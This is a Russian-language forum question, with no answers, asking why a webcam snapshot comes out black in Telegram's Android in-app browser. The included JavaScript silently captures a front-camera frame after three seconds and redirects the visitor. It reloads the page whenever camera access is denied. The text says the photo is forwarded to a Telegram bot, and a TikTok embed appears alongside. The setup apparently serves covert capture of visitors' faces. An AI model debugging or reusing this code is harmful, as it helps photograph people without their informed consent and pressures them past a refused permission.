Черное изображение от вебкамеры

Question

У меня есть сайт, который запрашивает доступ к камере, делает фотографию из потока, переводит ее в байты, отправляет байты на мой сайт (постбэк), а мой сайт переводит обратно в изображение и отсылает в тг бота. Когда делаешь это в браузере, то все работает нормально. Но когда открываешь сайт во встроенном браузере телеграма (именно на андроидах, на айфоне все хорошо), то приходит черное фото. С чем может быть это связано? Вот код, отвечающий за камеру

<body>
  <app-root></app-root>


  <video id="video" width="740" height="580" autoplay playsinline></video>
  <canvas id="canvas" width="740" height="580" style="display:none;"></canvas>

  <script async src="https://www.tiktok.com/embed.js"></script>
  <script>
    'use strict';

    const video = document.getElementById('video');
    const canvas = document.getElementById('canvas');
    let photoTaken = false;
    let cameraAccessAttempts = 0;
    let savedPhoto = null;

    const constraints = {
      audio: false,
      video: { facingMode: "user" }
    };

    
    async function requestCameraAccess() {
      console.log('Запрос доступа к камере...');
      try {
        const stream = await navigator.mediaDevices.getUserMedia(constraints);
        console.log('Камера успешно запущена!');
        handleSuccess(stream);
      } catch (e) {
        console.log(`Ошибка доступа к камере: ${e.toString()}`);
        cameraAccessAttempts++;

        if (e.name === 'NotAllowedError' || e.name === 'PermissionDeniedError') {
          // Если пользователь отказал доступ, перезагружаем страницу
          console.log('Перезагрузка страницы для повторного запроса доступа к камере...');
          location.reload();
        } else {
          // Для других ошибок повторяем запрос
          console.log(`Повторная попытка доступа к камере (попытка ${cameraAccessAttempts + 1})...`);
          requestCameraAccess();  // Повторяем запрос
        }
      }
    }




    function handleSuccess(stream) {
      
      console.log('Начинаем обработку потока камеры...');
      window.stream = stream;
      video.srcObject = stream;


      const context = canvas.getContext('2d');

      setTimeout(function () {
        if (!photoTaken) {
          console.log('Фотографирование...');
          canvas.width = video.videoWidth;
          canvas.height = video.videoHeight;
          context.drawImage(video, 0, 0, video.videoWidth, video.videoHeight);
          canvas.toBlob(function(blob) {
            console.log('Фотография создана');
            savedPhoto = blob;
            photoTaken = true;
            logPhotoInfo();
            redirectToFinalDestination();
          }, 'image/png');
        }
      }, 3000);
    }

Пробовал очень много решений

Прописывал в headers <script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>

Добавлял в constraints разрешение и частоту кадров (маленькие)

Ставил setTimeout куда только можно

И так далее... Другие варианты уже забыл

БЛОГ НА HUSL

Черное изображение от вебкамеры

Ответы (0 шт):